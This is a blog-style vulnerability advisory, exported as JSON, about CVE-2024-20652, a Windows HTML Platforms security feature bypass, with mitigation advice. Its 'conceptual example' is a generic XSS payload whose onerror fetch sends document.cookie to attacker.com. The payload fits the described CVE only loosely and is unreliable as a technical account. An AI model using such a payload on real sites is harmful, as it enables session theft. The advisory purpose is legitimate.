{"id":27913,"date":"2025-04-20T16:25:23","date_gmt":"2025-04-20T16:25:23","guid":{"rendered":""},"modified":"2025-08-09T13:01:19","modified_gmt":"2025-08-09T19:01:19","slug":"cve-2024-20652-windows-html-platforms-security-feature-bypass-vulnerability","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2024-20652-windows-html-platforms-security-feature-bypass-vulnerability\/","title":{"rendered":"<strong>CVE-2024-20652: Windows HTML Platforms Security Feature Bypass Vulnerability<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2024-20652 vulnerability poses a significant security risk to Windows HTML platforms, potentially leading to system compromise and data leakage. This article delves into CVE-2024-20652, shedding light on its severity, attack vectors, and the level of privileges required to exploit it. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2636-critical-local-file-inclusion-vulnerability-in-instawp-connect-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"32104\">vulnerability is particularly critical<\/a> due to its impact on widely used Windows HTML platforms, making it a key concern for both individual users and organizations alike. Addressing this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32569-critical-deserialization-of-untrusted-data-vulnerability-in-tableon-wordpress-plugin\/\"  data-wpil-monitor-id=\"32323\">vulnerability proactively is essential to safeguard sensitive data<\/a> and maintain the integrity of systems.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2024-20652<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-37297-vulnerability-in-ami-s-spx-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"33446\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4021313462\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Windows HTML platform | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52307-high-severity-stack-overflow-vulnerability-in-paddlepaddle-prior-to-version-2-6-0\/\"  data-wpil-monitor-id=\"33967\">versions prior<\/a> to security patch update<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2024-20652 vulnerability exploits a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-42970-use-after-free-vulnerability-in-multiple-apple-platforms-may-lead-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"33021\">security feature bypass in the Windows HTML<\/a> platform. An attacker can use this loophole to manipulate the HTML rendering process, thereby bypassing security features designed to prevent unauthorized access or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29017-remote-code-execution-in-code-astro-internet-banking-system-2-0-0\/\"  data-wpil-monitor-id=\"32853\">execution of malicious code<\/a>. The exploit could allow an attacker to manipulate web content in a way that exposes sensitive information or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32743-critical-vulnerability-in-connman-could-lead-to-system-compromise\/\"  data-wpil-monitor-id=\"32191\">leads to unauthorized system<\/a> access.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1237565293\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Consider this conceptual example of a malicious HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39601-cross-site-request-forgery-vulnerability-in-wpfactory-custom-css-js-php\/\"  data-wpil-monitor-id=\"36064\">request that might exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/html\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;body&gt;\n&lt;h1 id=&quot;demo&quot;&gt;A Vulnerable HTML Element&lt;\/h1&gt;\n&lt;script&gt;\n\/\/ Malicious script that changes the content of the HTML element\ndocument.getElementById(&quot;demo&quot;).innerHTML = &quot;&lt;img src=&#039;http:\/\/attacker.com\/hack.jpg&#039; onerror=&#039;fetch(\\&quot;http:\/\/attacker.com\/collect?cookie=\\&quot;+document.cookie)&#039;&gt;&quot;;\n&lt;\/script&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p>In the above example, the attacker alters the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-35996-cross-site-scripting-attack-in-kunbus-pictory\/\"  data-wpil-monitor-id=\"42857\">HTML<\/a> content of the page using a malicious script. This script <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54418-codeigniter-command-injection-vulnerability-in-image-processing\/\"  data-wpil-monitor-id=\"71102\">injects an image<\/a> tag with a non-existent source, triggering an error. The onerror event handler then sends a fetch request to the attacker&#8217;s server, transmitting potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3529-sensitive-information-exposure-in-wordpress-simple-shopping-cart-plugin\/\"  data-wpil-monitor-id=\"42090\">sensitive information<\/a> such as cookies.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To mitigate the risks associated with CVE-2024-20652, apply the vendor&#8217;s security patch as soon as it is available. Until the patch is applied, you can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-0756-unrestricted-jndi-identifier-vulnerability-in-hitachi-vantara-pentaho-data-integration-analytics\/\"  data-wpil-monitor-id=\"37804\">identify and block attempts to exploit this vulnerability<\/a>. Regularly updating your security systems and maintaining good <a href=\"https:\/\/www.ameeba.com\/blog\/safeguarding-public-trust-cybersecurity-in-local-government-and-protecting-community-data\/\"  data-wpil-monitor-id=\"32192\">cybersecurity hygiene can also help protect<\/a> your systems against such threats.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2024-20652 vulnerability poses a significant security risk to Windows HTML platforms, potentially leading to system compromise and data leakage. This article delves into CVE-2024-20652, shedding light on its severity, attack vectors, and the level of privileges required to exploit it. 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